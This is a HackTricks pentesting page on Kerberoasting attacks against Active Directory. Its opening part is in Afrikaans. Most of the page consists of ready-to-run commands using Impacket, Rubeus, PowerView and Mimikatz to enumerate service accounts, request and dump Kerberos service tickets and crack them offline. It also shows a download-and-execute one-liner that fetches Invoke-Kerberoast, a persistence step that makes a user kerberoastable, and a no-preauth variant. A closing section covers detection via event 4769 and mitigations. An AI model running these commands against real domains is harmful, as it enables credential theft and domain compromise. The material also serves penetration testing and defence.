hacktricks/src/windows-hardening/active-directory-methodology/kerberoast.md

Kerberoast

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Kerberoast

Kerberoasting fokus op die verkryging van TGS tickets, spesifiek dié wat verband hou met dienste wat onder gebruikersrekeninge in Active Directory (AD) werk, met uitsluiting van rekeninge van rekenaars. Die kodering van hierdie tickets gebruik sleutels wat afkomstig is van gebruikerswagte, wat die moontlikheid van offline geloofsbrief kraking toelaat. Die gebruik van 'n gebruikersrekening as 'n diens word aangedui deur 'n nie-leë "ServicePrincipalName" eienskap.

Vir die uitvoering van Kerberoasting is 'n domeinrekening wat in staat is om TGS tickets aan te vra, noodsaaklik; egter, hierdie proses vereis nie spesiale voorregte nie, wat dit toeganklik maak vir enigiemand met geldige domein geloofsbriewe.

Sleutelpunte:

• Kerberoasting teiken TGS tickets vir gebruikersrekening dienste binne AD.
• Tickets wat met sleutels van gebruikerswagte gekodeer is, kan offline gekraak word.
• 'n Diens word geïdentifiseer deur 'n ServicePrincipalName wat nie null is nie.
• Geen spesiale voorregte is nodig nie, net geldige domein geloofsbriewe.

Aanval

Warning

Kerberoasting gereedskap vra tipies RC4 kodering aan wanneer die aanval uitgevoer word en TGS-REQ versoeke geïnisieer word. Dit is omdat RC4 is swakker en makliker om offline te kraak met gereedskap soos Hashcat as ander kodering algoritmes soos AES-128 en AES-256.
RC4 (tipe 23) hashes begin met $krb5tgs$23$* terwyl AES-256 (tipe 18) begin met $krb5tgs$18$*. Boonop, wees versigtig omdatRubeus.exe kerberoast` versoeke outomaties oor AL die kwesbare rekeninge doen wat jou sal laat opval. Vind eers kerberoastable gebruikers met interessante voorregte en voer dit dan slegs oor hulle uit.

#### **Linux**

```bash
# Metasploit raamwerk
msf> gebruik auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Wag vir wagwoord
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable gebruikers
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Multi-features tools including a dump of kerberoastable users:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

• Enumerate Kerberoastable users

# Kry Kerberoastable gebruikers
setspn.exe -Q */* #Dit is 'n ingeboude binêre. Fokus op gebruikersrekeninge
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats

• Technique 1: Ask for TGS and dump it from memory

#Kry TGS in geheue van 'n enkele gebruiker
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Voorbeeld: MSSQLSvc/mgmt.domain.local

#Kry TGS's vir ALLE kerberoastable rekeninge (PC's ingesluit, nie regtig slim nie)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#Lys kerberos kaartjies in geheue
klist

# Trek hulle uit geheue
Invoke-Mimikatz -Command '"kerberos::list /export"' #Eksporteer kaartjies na huidige gids

# Transformeer kirbi kaartjie na john
python2.7 kirbi2john.py sqldev.kirbi
# Transformeer john na hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

• Technique 2: Automatic tools

# Powerview: Kry Kerberoast-hash van 'n gebruiker
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Gebruik PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Kry alle Kerberoast-hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Spesifieke gebruiker
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Kry van admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

Warning

When a TGS is requested, Windows event 4769 - A Kerberos service ticket was requested is generated.

Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast  
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt  
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistence

If you have enough permissions over a user you can make it kerberoastable:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast

If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) it because of your local time, you need to synchronise the host with the DC. There are a few options:

• ntpdate <IP of DC> - Deprecated as of Ubuntu 16.04
• rdate -n <IP of DC>

Mitigation

Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to Security Event ID 4769, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:

• The service name should not be krbtgt, as this is a normal request.
• Service names ending with $ should be excluded to avoid including machine accounts used for services.
• Requests from machines should be filtered out by excluding account names formatted as machine@domain.
• Only successful ticket requests should be considered, identified by a failure code of '0x0'.
• Most importantly, the ticket encryption type should be 0x17, which is often used in Kerberoasting attacks.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

To mitigate the risk of Kerberoasting:

• Ensure that Service Account Passwords are difficult to guess, recommending a length of more than 25 characters.
• Utilize Managed Service Accounts, which offer benefits like automatic password changes and delegated Service Principal Name (SPN) Management, enhancing security against such attacks.

By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.

Kerberoast w/o domain account

In September 2022, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform exploit.ph. This method allows for the acquisition of Service Tickets (ST) via a KRB_AS_REQ request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an AS-REP Roasting attack—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the sname attribute within the request's body, the system is deceived into issuing a ST rather than the standard encrypted Ticket Granting Ticket (TGT).

The technique is fully explained in this article: Semperis blog post.

Warning

You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

Linux

• impacket/GetUserSPNs.py from PR #1413:

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

• GhostPack/Rubeus from PR #139:

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

References

• https://www.tarlogic.com/blog/how-to-attack-kerberos/
• https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
• https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled

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